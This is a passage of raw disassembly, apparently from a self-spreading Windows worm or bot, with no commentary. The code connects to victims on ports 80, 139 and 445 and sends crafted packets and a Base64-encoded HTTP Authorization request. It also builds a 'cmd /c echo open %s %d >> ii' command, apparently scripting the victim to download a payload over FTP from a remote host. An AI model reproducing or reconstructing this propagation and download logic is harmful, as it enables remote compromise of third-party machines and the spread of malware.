[ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43ADB0 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43AD94 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43ADE8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_436EEC push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_436EDC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43ADE8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F678 push eax push eax push dword_436F0C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43AD98 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43ADD8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43AE30 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 2630F90h loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_4CDCAC, 1 jnz short loc_40483C or byte_4CDCAC, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_436EF8, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2660000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0D4h ; Ô db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 